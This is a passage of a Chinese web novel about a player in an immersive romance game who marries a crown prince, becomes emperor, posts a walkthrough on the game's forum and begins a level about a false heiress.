“这鱼好像想跃龙门。” 吉兆。 你顿悟:“黄袍要加在我身上了。” 赵晞不懂:“嗯?” 第110章 太子并非孤身来到沧州。 白日他与随行文官、卫兵去访查灾情, 与当地百姓商讨应对蝗灾之法。 有人说应拜蝗神,向朝廷要钱建庙。 不乏可行的建议。老人差使家中子女将耕地深挖,将蝗虫卵埋到地下深处, 这也是古书上记载的应付之策。 “还可养些鸲鹆, 这鸟是蝗虫的天敌。” 赵晞早出晚归处理灾后休整事宜, 将从知州府调来的卷宗给你,让你从里面圈画不合理之处。 你们在沧州一直留到年关。 离开当日, 救治过的难民追到了城门送你。天地一色的白雪中,乌黑与花白的头发在越来越远的距离中变成一粒粒深颜色的小点,最终消失不见。 你挑了小朱等办事机灵的跟你一起走, 其中有赵晞比较在意的那个男孩。过了一段安逸的生活后, 男孩的容貌渐渐显露,眼下挂了一颗痣, 每次跟他对视都像要把人吸进去一般。 赵晞尚且有这种感觉,更何况你呢? 但你并未对男孩表现出什么特殊, 在归程的人中,对你最特别的人是他。但他还是忍不住猜忌,或许是每天单调地赶路,他太闲了, 人一闲就容易胡思乱想。 马车里, 你翻阅话本, 赵晞在一边拿镜子打量自己。 他把自己半披着的绸缎般的长发拢成一束,往高处比划, 想象自己扎马尾的样子。 ……是不是要放些额发更合适? 思忖着, 他感觉到腰间缠过来一双手,回头看到是你贴上来了。 他脸上发热。“怎么了?” “晕车。” “要停下歇息吗?” “闻闻你就好了。” 他沉默片刻,剥开你的手, 将衣襟拉开。 “要、要进来闻吗?” “好啊。” 仅靠一个铜炉无法使寒冬的马车变得暖和。但人和人纠缠在一起可以。 你贴着他的胸口,感受呼吸的起伏和他身上光滑细腻的皮肤。 荼蘼花的香气灌满鼻腔,你抵抗不来他的身体,早在见面当天就使用了他的初夜,之后也用了几次。所以现在还是异香的免疫期。 “景蕊,你说我这里点个痣怎么样?” “点来看看?” 你们在马车里磨墨,用你头上的簪子沾墨在他眼下点了个痣。 “如何?” 他有些期待地望你,等待你的审视。 你望了眼:“痣对你的脸是瑕疵,擦掉吧。” “不好看吗……” “你在沮丧什么?” “那个叫阿武的男的,不是长了颗漂亮痣吗?小朱夸他的时候你还点头。” “所以呢,你接受不了有人夸除你以外的人好看?” “我才没那么小心眼,我是在意你的看法啊,至少在你心里,我想要是最好看的。” “你之前不是不喜欢别人喜欢你的脸?” “现在和过去不一样了,你喜欢我,就得喜欢我的全部。” “你好麻烦哦。” “……你说我麻烦?”像触发开关一样,他说个不停,“我才不麻烦,我哪里麻烦?我就是这么说而已,你就算觉得别人比我好看我也不会说什么呀!” “哎!我不麻烦!我母后说我是她最省心的孩子,我姐姐比我麻烦多了,我小舅舅也比我麻烦啊!他吃肉都要问问是什么地方的,你看我,我不是没问过?你笑了,你觉得我说得很有道理?以后不许说我麻烦了,还不快亲我一下!” 太子将沧州蝗灾处理得不错,得到了皇帝的嘉奖。但他当场就说了你做的一切,很多主意包括以工代赈,都是你的想法。 皇帝微微沉默,之后也用官方的套词夸了你一通,赏赐金银珠宝到家里。 你听到的版本是父亲的转述,他亦对你离家几月孤身去沧州赈灾感到震惊,想对你说什么,张了张嘴,最后也没说出口。 母亲因你的出色,在汴京女眷里很是得脸,开始应邀出席一些赏梅会。每日都高高兴兴回家来,无视夫人的身份,她和少女时期没什么不同。 “景蕊是娘的骄傲。” 她给你绣盖头,“以后和殿下相处,万万不要让自己受了委屈。如果不开心,就回家来。” “娘不必挂念我。” “怎能不挂念你,你是娘在这世上最后的亲人。” 景妍有着不一样的忧愁:“姐姐嫁去了东宫,还能常回家吗?” 你道:“当然可以。” “姐姐走了,我一个人在家里待着好难受,要不我当姐姐的丫鬟吧?” “……不行。” “坏姐姐。” 皇室成婚的礼节较为繁琐。你穿着比之以往都隆重的吉服,从宫外到宫中再到东宫,虽然只是简单地行走和行礼,但也有忙碌了一天的疲惫感。 你躺倒床榻之中,赵晞摇晃你的脚:“景蕊,再撑一下,我们把礼成了。” “明天再成。” “不行,非要今天不可。” 他将你扶坐起来,筷子塞到你手里,端了食鼎和黍稷饭过来。 想了想,又把筷子从你手中抽出,自己夹一块肉喂你。你勉强咬了边缘,剩下的被他塞到嘴里咀嚼,然后又喂你吃了半口饭,自己吃剩下的一口。 “这叫……嚼嚼嚼……同牢礼,你我共食一餐,以后就合为一体了。” 他又端来切成两半的瓠瓜皮,倒酒,摆弄你的胳膊和他交杯共饮。瓜皮味涩苦,他也喝不惯酒,喝完皱了皱眉,才恢复如常给你解释: “这叫合卺酒,以后我们就要同甘共苦……” 你道:“不想苦。” 赵晞顿了顿,又在他那半瓜皮上倒酒,向上天许愿般:“我再喝一半,以后让我与景蕊只同甘,苦让我一人吃。” “……” 流程结束,他脱了鞋上榻跟你躺到一起。 疲惫从身上卸下去,他侧身面向你,脸上带着俊朗明净的笑。 你伸出食指摸他的眉毛,眉骨十分明显,在烛光下挡了一小片阴影。 “为什么盯着我看,沈景蕊?” 你说出他曾经不屑,但如今每天都要听你夸一遍的话。 “因为你长得好,殿下。” 他轻笑着凑近,手在你脸上揉了揉,随后给你拆头冠。 动作小心,凝神呼吸都变得轻了。 在表哥档中,他因一直坚定的信念被摧毁推翻,人变得不太正常,做出了抢婚的行径强求于你。 在废档中,你以林彧爱慕者的身份与他相识,并不理会他的情感变化,用暖情香道具介入了你们之间,像是催熟的果实,不被他认同。 而主档,赵晞将你的发髻拆下,指头按揉你的发根,眼睛困得直闭起来。 你歇得差不多,起身去洗漱,回来翻你带过来的箱子,找出芙蓉像生花摆他枕边。 你看着他的睡颜。 再美的容颜时间久了都看得习惯,你现在再看他,只觉得像一块香甜的小点心。 你把他的外衣扒了,拆了头发,被子拉到他身上。 第二天醒来时,还没彻底清醒,就听到他朝气蓬勃道:“你醒了?” “沈景蕊,你偷偷送我花,我要亲你。” “……”真有活力。 “可是你还没刷牙,我不想亲你。” 你们下床叫人送水洗漱。 他洗得很用力,漱口漱了许多遍,擦脸时将脸侧擦得发红。 你慢了他一步,他便等在你身边,等你也收拾好,狗一样闻过来。 “你好香哦。” “殿下也很香。” “为什么送我花?” “是我娘在我笄礼后准备,让我送夫君的。” 他凑近吻了你一下,认真道:“我会好好收起来。” “我知道。” 成亲之后,皇帝有意放权给赵晞,他频繁地参与一些政事。你时而旁听,时而发表自己的见解。因为有过辅佐女帝的经验,没有难题能难得住你,如果有,就用存档检验真理,读档做出正确的选择。 空闲的时候,你会和他一起用假面出门行侠仗义。 他是自己熬胶做的面具。在你身边越来越有帅哥包袱,不肯再用之前那种丑陋无下限的面具。 你则是还用道具化作老妇形象,他也满意得不得了。这样无论你做出什么令人迷恋的事,迷恋你的人也只会有他一个,毕竟不会有人对老太太感兴趣。 不过,“你是用什么做的面具?像真的一样。” “保密。” 会有这种对话出现。 汴京城左右很快流传起了奶奶和少侠的传说。 不再有人敢欺压无辜,不再有人敢行奸邪之事。 二十岁时,皇帝驾崩去世,赵晞即位,你为皇后。 你开始和他一起上朝,在他的龙椅旁摆了另一把龙椅。 朝堂中有很多熟面孔,林彧、云衢、苏师父、陈师父。 还有小朱等,你从沧州带回来的心腹。 赵晞对你干政的行为没有意见,两个人能把事做得更好,为什么非要他一个人做不可? 那些弹劾的文书他都不理会。 曾有人在朝堂上死谏,被你拦住。救人救得比较梦幻,中间转了个圈,那人迷上你,再不提牝鸡司晨的混账话。 赵晞看出他对你的意思,气得一天没吃饭。 为了哄他,你答应他第二天牵着手上朝。 你也发现了第二关的隐患,之前从来没有想过这方面的问题,还是有人请奏充盈后宫,绵延子嗣,你才反应过来。 你和赵晞之间不会有孩子。 平凡人家没有孩子便没有,皇室要是没有子嗣,皇位该传给谁? 这是真结局中对你的考验吗? 正是秋狩,赵晞教你骑马,听你说起这个问题,不以为意。 “没有便没有,不是还可以从宗室那边抱来一个?” “你不想纳妃子吗?” 他拍拍马头:“我有你就够了。” “你是皇帝啊。” “皇帝又如何?”他道,“我真心爱你,不会分给其他人一眼。” “……问这种话,难道你是皇帝,你就会找很多男人陪在身边?” 会的。 “……怎么可能,我爱的是你。” 赵晞察觉到你的停顿,眼睛敏锐眯起:“好啊,沈景蕊,睡我睡倦了,想吃新鲜男人了是不是?” “看到这把剑了吗?你睡一个,我割一个。” “好残忍。” 他牵马走一阵,闷不做声拿后背对你,这是生气了。 你戳他后颈:“赵晞,我也想当皇帝,你退位好吗?” “你当皇帝,然后给我塞满一后宫的哥哥弟弟是吧?” “我才不那样呢,我当了皇帝还只爱你一个。” “花言巧语。” 秋狩期间,赵晞射死一只两米长的老虎。他拿老虎皮最完整的地方给你做了顶帽子,上面缝出耳朵形状,戴在头上影子里就像长了耳朵。 “娘娘像山君仙人呢。” 月梧道:“陛下呢?” “策马又出去了,肯定是给娘娘猎其他猛兽去。” 你摆弄老虎帽子,在营帐中处理朝廷政务。批注得差不多,调出自己的马出门,寻找赵晞和猎物。 你遇到了杜枕溪,他身后跟着恐惧哀伤的小鹿。 小鹿看到你手中的弓,吓得叫了声往他身后躲。 你于是把弓扔掉。 杜枕溪安抚小鹿:“没事了没事了,我表妹不会伤害你。” “表哥,你身边围着动物,小心被人射伤。” “我没事。你怎么出来了,来找圣上吗?我看到他往那边走了。” “……” 你也想打猎玩玩看的。但是被杜枕溪和小鹿清澈无害的眼睛望着,你说不出那种话,便点头,循着他指的方向找去。 紧接着,你碰到了林彧。 他在马上遥遥朝你行礼:“见过皇后娘娘。” “林师父,看到陛下了吗?” 他酸溜溜感慨:“便是一时半刻也分不开呢。” 继续给你指路。 路的前方是云衢,他身边是同样骑马的景妍。他们朝你行礼,随后景妍到你身边,说她多么英武,射死一只巨蟒,有她的腰那般粗。 云衢问:“姐姐要找陛下吗?” “他去了……” “不好了!快来人!陛下被老虎咬掉了脑袋!快来人啊!” “……”? 你策马过去,以为是他开的玩笑,结果真的看到他躺在血泊中只剩四肢的样子。 “……” “这是!这是陛下身上的!是……” 宫人大惊:“是传位诏书!陛下若有不测,将皇位传给……” 她的声音变轻:“……皇后娘娘。” 此刻,自赵晞登基以来,你的种种逾越礼制的行为在他们心中闪现。 ——你是故意的。 设计杀死皇帝,夺位。 他们震惊你的阴毒手段,也为你狠辣的心肠所不解,他明明……陛下明明那么爱你。 这并非你的手笔。 你想当皇帝,但没想过用杀了他的方式。本想着通关以后,再读档回来囚禁他篡位,你都已经存好最恰当的档位了。 他却。 如果不是意外,一切是他情愿做的,愿意为你达成心愿,哪怕死都可以吗? 你还能顺利达成结局吗? 魂不守舍地回了营帐。景妍始终守在你身边,为你挡去那些并不善意的目光。 林彧到你面前,蹲下与你平视:“难受什么?让你的人收拾东西,我护送你登基。” “林师父护送我吗?” 你想笑一笑,却笑不出来。 他道:“现在不是悲伤的时候,振作起来。你还有天下要安顿。” 回了汴京,首先平定天子死后的宗室之乱。你做主将出兵,往来无败绩,守住了你的皇位与江山。 二十四岁,你收整好一切称帝,改国号为瑞。 承天元年,你先后处置了边境异族侵扰、裁撤冗官、培养有才能的将领,轻徭薄赋等问题。赶场子一样急,但你总能在转折点做出最正确的选择,所以进展顺利。 当了皇帝以后,你发现你并没有想象中一样富甲天下,国库的每一笔钱财动起来都要瞻前顾后考虑很多。 前朝有几个位高权重的故人为你所用,你成为了他们眼中的明君。 午夜梦回,你在摸到空荡荡的床榻时惊醒。 “不召些年轻男人进宫陪你吗?” “你果然,最爱我。” 【二十五岁后,假死的赵晞回来,在你的后宫中做名男君。前朝只以为你找了个和赵晞很像的替身,他们畏惧你,不敢过问。 至此,你的江山稳固,美人在侧,到了人间至尊的位子。 你的才华得以展现,你的爱人也会永远陪在你身边。】 任务2:【成为一名出色的恶毒女配】 【进程100/100】 【满足通关条件】 【系统监测恋爱过程,评定积分中……】 【系统评定恋爱积分为91】 【等级为SSR,满足通关条件】 【闯关成功】 110-120 第111章 【恭喜玩家顺利通过第二关】 【获得奖励】 【灵犀角x1;寻途幡x1】 【灵犀角】:心有灵犀一点通。开启后能听见万事万物的声音, 您就是万物之主。 但有时也会过分吵闹呢。玩家可自行选择开关状态。 【寻途幡】:脚踩当下,路有万千。使用时用意念呼唤道具的名字,输入地点, 即可有最优路线指引。 【已自动为玩家收入背包】 【背包: [一粒圆丹] [暖情香]x1, 剩余次数4 [学人鹦鹉]x1 [灵犀角]x1 [寻途幡]x1 】 【使用游戏时间过长, 为了玩家的身心健康,建议适度休息后再开启精彩剧情】 …… 【退出游戏】 你摘了头盔, 整理数据线到床头柜上。 现实中的时间没有向前移位,还是过年前夕。 你在游戏中过了不知多少年,生理上没有困意, 但心理上沉甸甸的, 脑子不愿思考运转。 你睡下了。 第二天自然醒,姑姑一家已经离开。客厅空荡荡的, 他们带来的礼物还留在冰箱前。你从奶箱里拿出一罐,嘴巴夹着吸管往厨房走, 掀开锅盖看里面妈妈留的菜。 红烧小排。 你开火加热,吃了满满一碗饭。 坐着出神了好一会儿,回房间换衣服,锁门出去散步。 空气里混杂着汽车尾气的味道, 你两手揣着口袋, 不时看路边的商贩, 随手接广告传单阅读。 马路上车辆穿行的声音、经过时人们的交谈声,渐渐将你拉回了现实, 脚踩在实地上。 年假结束, 恢复上班。 妈妈感慨:“越来越安静了,多说说话呀。” 你道:“话太多有失威信,我现在是皇帝。” 她笑:“好吧, 你又玩游戏了?什么样的游戏,妈妈能玩吗?” “谈恋爱的,你想玩的话我周六去商场再给你买一套。” “恋爱啊,那算了。” 吃过晚饭,你翻出明天上班穿的衣服,搭到椅背上。洗完澡吹干头发,你躺到床上看手机。 你在找距离和价格都比较合适的散打教学班,和客服聊天之后去网上看评价。 去浏览器上搜索位置时,首先显示的上一次使用的网页。 游戏论坛,右上角的消息通知有红点。 你点进去查看,是官方发的消息。 【亲爱的玩家,您好!您已经很久没发帖交流了,诚邀您多多活跃官方论坛,分享游戏心得、攻略、趣事等内容,与其他玩家积极互动交流,共同营造优质社区氛围!期待您的参与!】 你点进去看自己之前发过的帖子,出现了几个普通模式的新玩家在楼里求助交流。 你开帖询问还是第一关被司马煦纠缠的时候。 现在看来都是无关紧要的问题。 舍不得游戏进度读档,不想经历一模一样的内容,这种心态在后期全部自我调理好了。 你自认对司马煦足够了解,打字回复楼里有疑问的玩家。 对方恰好在线,发来一串问号:【为什么楼主玩大皇子和玩狗一样QAQ】 帖子被顶上去之后,楼层里涌入其他在线玩家。 【普通模式的大佬!捉!】 【问问楼主现在玩到第几关了?】 你回复:【第二关通关了】 有人震惊:【那么肝的第二关也能在普通模式通关吗?是我有问题,还是玩普通模式的玩家都很沉默啊!】 【发现楼主档里的男主们都好香,能再单开个帖子仔细说说吗?】 【可以】 【普通模式:恋爱攻略,但恶毒女配】 1L(楼主):《恶毒女配向前冲》闯关实录楼,记游戏内关卡攻略线路。 你回忆自己的游戏过程,在手机屏幕上陆续打出一个个相互平行的故事。顺着文字,你再度回忆那些人。 打到最后超过了预定睡觉的时间,你坚持把最后一个男主的爱情线写完,发出去后,楼层数变成了37,中间插了其他玩家的发言。 你决定明天上班摸鱼再看。 但第二天你被派了外勤,无法从社交状态中抽身,直到下班回家才有空闲打开论坛。 很意外,帖子上了论坛热门。 玩家们的回复都很热情。 【楼主可以开直播训狗了】 【楼上hhhh,不是也有猫吗】 【我没拜到卫棠为师,老天爷,我错过了什么!】 【我拜到了卫棠为师,但我以为他是女的……】 【我勾搭过卫棠,但感觉跟楼主档里的完全不是一个人,是因为困难模式的原因吗,他真的很公事公办,而且更看重有天赋的妹妹】 【我和楼主第二关的男主线路只重合了一个太子,我的太子为什么不假死让我当皇帝……】 【好好磕啊,楼主的档,如果以后弃游可不可以把号卖给我,我愿意出任何价钱】 【虽说那些男主在每个人的档里性格都不同,但我觉得楼主的恋爱这么香,本质上是因为楼主自己很会谈】 【赞同,首先楼主一定是个内核稳定的优秀的人】 【别说男人了,楼主把妹妹都养得很好,我的档里妹妹快把我气死了】 【看到楼主的普通模式这么精彩,我好想再开个号玩普通模式】 【还能再说点吗楼主?再说一点,几个字都行!】 你回复:【我没什么可说了】 对方立刻回复:【那就快打第三关吧】 —— 【欢迎登入】 【游戏涉及重大更新,请玩家在待机空间耐心等候】 【……】 【更新完毕,已新增[模式切换]、[自动挂机]、[自动存档]功能,请玩家按需在系统面板中开启,如需新手指引,请点击这里】 【这里】是个按钮。 点击以后,半透明的面板中出现了箭头教你使用这些新功能。 【模式切换】和你理解的不同,不是普通模式与困难模式之间,而是沉浸体验与操纵Q版形象行动的切换。 当你切换到Q版形象时,就会回到待机界面的沙发上,手里拿着手柄操作移动。无痛感,只能行动,无需进行任何交流。 也可以随时切换回沉浸模式,身临其境。 【自动挂机】和【模式切换】相配合,在用Q版全局模式时选择,即可变成放置游戏,按照游戏内外时间差来呈现发展效果。 【自动存档】是字面意思,设置一个档位给系统,就会按照你设置好的时间定时为你存档。 新功能每一个都很有用,包括第二关的奖励道具也都是你想要的。 你仰头望着虚空。 难道官方能听到你的心声? 不是不可能。 总之现在你的麻烦都被解除。 点击进入关卡的按钮。 【第三关】 【宁做我·阿棘】 【你叫阿棘,无父无母,生活在贫穷的村子里。你并不特别,还有很多孩子和你一样,他们甚至不如你幸运,至少你的身体是健康的。 你的友人叫做阿荆。在饥饿、苦寒中你们相依为命,是彼此在世上最重要的人。 阿荆总是戴着一块石坠,她认为自己是石头生的,不然岂会天生就有? 你觉得没有那么简单。后来战火屠戮了你的村子,你和阿荆拼命逃走,被路过的侠士救起。 你的疑虑得到证实。 原来阿荆是长安贵族躲避战乱遗落在外的孩子。她是大家小姐,而侠士何余恰好是顾家的门客,所以认得出石坠上刻的家徽。 当晚你辗转反侧,在月光下反复确认自己的身体,没有,没有,没有,你没有任何信物,身体上也没有大户人家有的家徽。那种东西就算有也不会刻在身上,只会像阿荆一样挂在石坠上,会刻在身上的都是奴隶。 为什么同样的贱命,阿荆就可以是大小姐,而你什么都不是呢? 嫉妒和恨让你越来越讨厌对你死心塌地的阿荆。 乘船到江心,你下药给两人,将他们扔到深不见底的江水中,不动声色地继续前往江陵。 你用石坠与顾家相认,有了名字顾及钰,接手原本属于阿荆的一切。 但半年后,何余活着来到顾家,身边跟着傻掉的阿荆,他在家主的面前揭露了你的贪婪与罪恶。 你打算怎么做?】 【通关条件】: 本关不设任务。 无论玩家做任何选择,都将迎来命运的嘉奖。 【请开启你的挑战】 第112章 “……谁知此女心肠歹毒, 竟将我随身携带的迷药下入酒菜中。等我浑身乏力,知中计却为时已晚,若非曾受此害, 身已习之, 只怕要淹死在江水中!” “可怜三小姐, 被阿棘推入江中,后脑受伤, 神智难明,但好歹是把一条命给捡回来。” 何余伸手招了招,将低头坐在椅子上的阿荆叫来。 “她虽记不得事, 认不得人, 但顾夫人,您定当辨得出哪一个才是自己的骨肉!看看她的眉眼吧!简直和府上大小姐一个模子刻出来的!” 视线落到被推至人前的阿荆身上, 顾府众人均沉默。 女子敛眉缩肩,看不出美貌与否。然双九年华, 年纪对得上。 只是这般痴傻的姿态……就算是顾家对何余十分信任,也不敢认阿荆才是顾家真正的三小姐。 他们家遗落在外的小姐早就在半年前认回了,唤作阿棘,本名顾及钰。 及钰性子坚韧, 聪慧好学, 府里兄姐会什么, 她都要发力学会。才仅半年,就已和家中养大的小姐没什么区别。 当年从长安撤离, 陆智云担心襁褓中的女儿会成为逃亡路上的拖累, 被丈夫和公公遗弃。她特地用随地可见的石头刻了顾家的家徽,挂在女儿脖子上,这东西不值钱, 不会有人从孩子身上抢走。 随后真正弃了女儿。 她在心中安慰自己,会找回来的,等他们在江北安顿好,便沿着江水向上游找。 但找了整整十八年也没有找回。 老天保佑,何余从富春带陆氏消息回来,恰巧遇到她的小女儿。她在逃难,而他认出了她慌乱之中掉出衣襟的石坠。 之后女儿独自找回家门,拿石坠给门房后晕死过去。 她说路上遇到水贼劫财,何余受害,她从江水里游回的岸边,一路靠别人的施舍回到家。 陆智云定了定神,道:“何先生,依我看并非及钰下药,而是你们全都受了水贼的暗害。及钰说她是从江中游上岸的,在岸边等了你几日,没能等到才自己走着来的江陵。” 何余怒道:“依夫人之见,我却在行骗于主人家吗?我对太守忠心耿耿,日月可鉴,岂会让陌生女子浸染顾氏血脉?阿棘是骗子,是心狠手辣之人!阿荆才是夫人您的亲生女儿,您看看她吧,她这一生孤苦无依,好不容易见到了血亲,却被疑不信!夫人,您太让孩子心寒了!” 陆智云被他发了一通火,默默无言。她了解何余的为人,他不会在这事上说谎。但要她怎么相信,她不敢相信! 若何余说的是真的,她养了想要置她女儿为死地的恶人半年,将所有的爱和财宝都补偿给一个不相干的人!而她真正的女儿还流落在外,被害成了傻子,见到人连头都不敢抬……只要想想,她就痛得快晕过去了。 顾太守终于开口:“三小姐叫回来了吗?” 他身边的侍从行礼,去外面看情况。 你正好从廊下穿行而来,与侍从迎面撞见。对方眼神复杂,但还是按照规矩朝你行礼,“三小姐,府君有请。屋内有客,还请勿要吓到。” 你点头迈进去,盯着半透明名牌后的【何余】看。 中年男子,相貌端正,双眼喷火般盯你。 若不是府君在此,他简直想拿剑把你杀了,有害人之心,就该做好被人害的准备! “厚颜无耻!面如桃李,心若虎狼!” 他用尽全身气力骂,你只淡扫了他一眼,站到陆智云身边。 泪流满面的女子摸索着找你的手,握在掌心:“及钰,你是我的女儿对不对?你没有骗娘,也没有骗你爹,你是娘的女儿……” 你抽手:“阿荆才是你的女儿,对不起。” 她愣住,眼中的百般情绪仿佛浇灭的火般,化成了一片浓黑的灰烬。 “还留我吗?不留也没关系,给我点钱,我走了。” “……………………” “竖子匹妇!你以何面目立于天地间!” “何余。”顾太守沉声道,“冷静些。” “此事之后便是我的家事,你不可说与外人听,否则我留不得你。” 何余躬身行礼:“自然。府君的家事我不会往外说一个字。” “好。那么从此刻起,我的女儿便是及钰,而你带回来的阿荆是及钰从小到大的玩伴,念在她可怜,我收她为我的义女,在顾家排四,同享小姐待遇。” 何余低头,蓄长的胡须颤抖,震惊于太守的选择。 为了家族门面,竟连亲生女儿的仇都不报吗? “我知道你在想什么,满之,及钰已经定亲了。难道你要让什么都不懂的阿荆去嫁人吗?先不说陈氏如何想,阿荆嫁过去以后,在陈家过的会是什么样的日子?” 何余撤了行礼而端在额前的手,为自己拼命走这一遭感到不值。 他最后看了阿荆一眼,眼中怜悯,头也不回地离开了。 “大哥,何余这是要走吗?” “吩咐下去,他到渡口时截杀了。” “是。” 阴诡的目光转向你,你平静回视。 “我一贯欣赏有胆识和野心的人,安分些,你就是顾家的女儿。” 你没有回话,顾太守带领他的兄弟与亲随离开。 陆智云先是拿帕子堵嘴哭,随后抱住阿荆。 “是娘不好,我的孩子,是娘不好,你怎么变成这个样子,你快醒醒,你叫一声娘啊!” 阿荆被她抱着,懵懂的眼睛却看着你。盯你许久,她露出恍然的神色,对你笑笑:“阿棘。” “阿棘,你饿不饿?何叔父给了我点心,被我藏在领子里了。” 说着,她从陆智云的怀里挣扎出来,走上前拉你的手,把还有她体温的油纸包塞给你。 “阿棘吃不吃啊?” “不用了,你自己吃吧。” “好啊。” 陆智云红着眼看你们说话。眼泪止不住地流,她的心此刻受万剑穿透般痛苦。 哭了会儿,她的眼睛一瞬闪烁了凶光,扒了头上的簪子朝你冲来。 “为我儿偿命!” 你握住她的手腕,没让簪子的利处更近。 “别动我,顾夫人。” “你将我儿害成这副模样,你对得起谁,对得起谁啊!!” 你道:“那阿荆为什么会流落在外那么多年呢?如果阿荆一直都是你的女儿,是顾家的三小姐,便也不会招惹我这般心术不正的人残害。说到底,当初抛弃了她的父母就一点错没有吗?” 陆智云咬着下唇,久久不发一语。她无话可说,你说的没错,是她的软弱和自私,让女儿遭受这么多年的苦难。如果当初她坚持把女儿抱走,哪怕和女儿死在一起,也不至于今天母女面对面却无法相认。 恶毒之人坐上小姐的位置,而她的女儿变成了义女。 她脱力地跌坐到地上。 你道:“我不会不管阿荆,以后也不必称呼我为顾及钰。” “我过段日子就离开。” 陆智云冷笑:“你怕是离不开。以为顾家是你想来就来,想走就走的地方吗?不将你利用透彻,我夫君怕是咽不下这口气。” “悉听尊便,我回去了。” 在你原本的计划中,顾家识破你假千金的身份后,你就搜刮些财物离开。 没有主线任务的关卡,还说无论达成什么样的结局都会受到嘉奖,如果你没理解错,应该类似于普通游戏里的福利关卡。 不管做什么都不会失败,只是会根据行动影响奖励的多少。 既然顾家还打算留你,你就在这边玩几天。 你的身份除了当时在场的那些顾家人之外无人知晓。身边伺候的丫鬟还把你当小姐对待,睡前立在榻边将你的头发梳顺,她轻声道:“小姐的友人也被府君认作义女,以后就能日日相见了。” “嗯。” “小姐今日笑得少,可是有什么不开心的事?说出来,让奴婢为您解忧吧。” “没什么不开心,我之前时时都笑吗?” “夫人说,您笑起来的样子像她,从那之后您就总是笑着。” “哦。” 处境也并不怎么好。 你听到门外传来喧闹的声音,“去看看发生了什么。” “是。” 侍女开门打听,很快回来:“是阿荆姑娘不见了,夫人在哭着找呢。” “不见了?” “好像晚饭都没吃,餐盘里的菜没动过,应该走了很久。这要去哪找呢?” 你顺着她的话思考,片刻,想到自己的新道具。 试着在心中默念【寻途幡】,虚空中便出现类似导航界面的搜索框。 你输入【阿荆】,点击【确认】。半透明的箭头在地上出现。 你套上外衣,沿着箭头行动,穿过灌丛、廊桥,最终在库房角落处找到蜷缩的阿荆。 她紧皱眉头,在睡梦中是溺水状。 你蹲身摇了摇她:“阿荆,醒醒。” 她惊呼一口气,睁眼,大口大口喘气。 目光定在你身上,她猛得后缩:“是你……阿棘……” “为什么?”她哭着对你,“为什么你要那么对我?我把你当亲姐姐,我没有过对不起你的时候,为什么你要害我?” 你道:“是清醒了吗?我带你去见你妈妈。” “别动我!我不去!我不要去!我去了你还能活吗?你好不容易……” 她盯你身上名贵的衣裳,和不曾来得及卸下去的耳饰,鲜艳的红,圆溜溜的一对珠子,像山里野生的樱桃。 “你好不容易活下来……我在这,你还能活吗?” “能,你先起来。” “不!不要!我不要!” “我不去!不去见他们!” 她抵抗得实在激烈,你不再勉强,而是把白天发生的事一五一十叙述一遍。 她怔怔道:“原来女儿是谁都可以……” 她笑:“那我更不要认他们。反正最开始也是他们将我遗弃的。” “你娘很难过。” “我就不难过吗?先是不要我,后是认错我,最后连我是不是他们的女儿都无所谓……” “剧情需要。” “什么?” 你摸摸她的头,“我之后会离开这里,你还是三小姐。” 在你碰到她时,她下意识抱紧自己的膝盖,作一个防护的姿势。 “你要去哪,要嫁人吗?” “不嫁了吧,已经嫁腻了。” “……” 你对上她愣愣的双眼:“回去睡觉吧,等下会有小虫子咬你。” 说着,蛐蛐在草丛里叫了起来。 翌日。 你洗漱后吃饭,随手收拾自己,出门逛街。 江陵不算大,商业街也不够繁华,一个时辰都逛了一遍,又去看景。 河岸的另一侧有大片紫云英,在翠绿的天地间抹上亮眼的紫红色。 又去了其他地方。看到下午回家。 下马车时,街边有一位穿白衣的少年定望着你,你扫过去一眼,很清秀周正的长相,神态像小白兔般懵懂无害。 与你对上视线,他紧张得屏住呼吸,鼓起勇气跑过来,将手里开放的栀子花送给你。你听得见他因跑步而轻轻喘息的声音。 “谢谢。”你坦然接受。 “不、不客气。” 你抱着栀子花回到府中,侍女在旁道:“小姐理会他做什么。” “收花而已。” “那种如尘土般的贱人,不值得小姐投去目光。” “他是陈家府君的私生子,也不知哪来的脸皮肖想小姐,明明小姐是和他哥哥定亲。陈家也没个人管管,不过也没人管他吧,活得跟个影子似的。” “哦。” 正走着,有人朝你扑过来,随后紧攥你的手。 你诧异了一瞬,看着来人:“阿荆,你怎么了?” 她不说话,只是一味地把头靠在你的肩膀上。紧随着她跑来的是陆智云和几个侍女。 正面碰上,陆智云表现得十分冷硬,要将阿荆从你身上强行分开。 阿荆死死攥着你,眼神恐惧,和昨天夜里清明的眼睛完全不同,又变回了痴傻的样子。 “阿棘,救我。” “我不要跟她走。” 第113章 阿荆的痴状没痊愈吗? 你将她扶到身后, 用目光一寸寸将她脸上的神情琢磨一遍,得出结论,她没有在装傻。 陆智云嗓子拉紧般:“阿棘!你要对阿荆做什么!?” 她揪着你的后领要把你甩开, 你蹙眉望她一眼, 摆脱她的手。 身边的丫鬟疑惑:“夫人?” 陆智云才定了定神, 勉强道:“……及钰。” “你别吓到阿荆,她已经很恐慌了。” 你道:“现在是你在吓她, 你打算对她做什么?” 陆智云木着脸片刻,抬手擦泪:“能做什么?你说我能做什么?我想给她洗澡,想看看她身上受了哪些伤, 有没有好好吃饭, 能穿什么尺寸的衣裳!” “她不认得你。别说她,就算你给你其他养在身边的女儿洗澡, 她们也不会愿意吧?” 洗澡是很私人的事。 “……” 阿荆拉你的衣角,小声附和:“我不洗澡, 阿棘我不洗澡。” 你转头:“可是你不洗澡很臭,我都洗澡了。” “我不臭,阿棘我是不是不臭?” “你臭。” 阿荆不高兴了,扁嘴:“你也臭。” 于是你对神情凄楚的陆智云道:“夫人先给我洗澡如何?” 对方脸色一变, 将要发作, 你继续道:“我和阿荆都洗澡, 因为我们都臭。” “阿荆,你看, 我都让她给我洗澡呢, 你也洗洗好吗?不然只有你一个人臭,我们怎么在一起玩?” 听说你也要做一样的事,阿荆显然有了些安全感。 “好。” 你当然不会让陆智云帮你洗澡。 进到房内, 你便去书架处找了本名字有趣的书看,名叫《贵院犬记》。 浴桶在外间飘着热乎乎的白气,你与陆智云坐在房中的两极。 翻了一页,你“咦”声。 陆智云冷道:“又怎么?无论你再怎么示好,我也不会把你这种居心险恶的女人当我的女儿对待!” “这本书里有好多我不认识的字。” 不是“好多”,是大部分的字你都不认识。 但根据认识的字组词推测,字本身并非生僻,你可以轻松做到写读,但在这关里却要推测出它的意思才能认识。 【■体雪白】是【通体雪白】。 【■■可■】是【率性可爱】。 陆智云道:“一个贱民,不识字才是常态。以为做了几天小姐,就能改头换面,褪了你那身污血不成?” 你没回话,根本没在听她说什么。 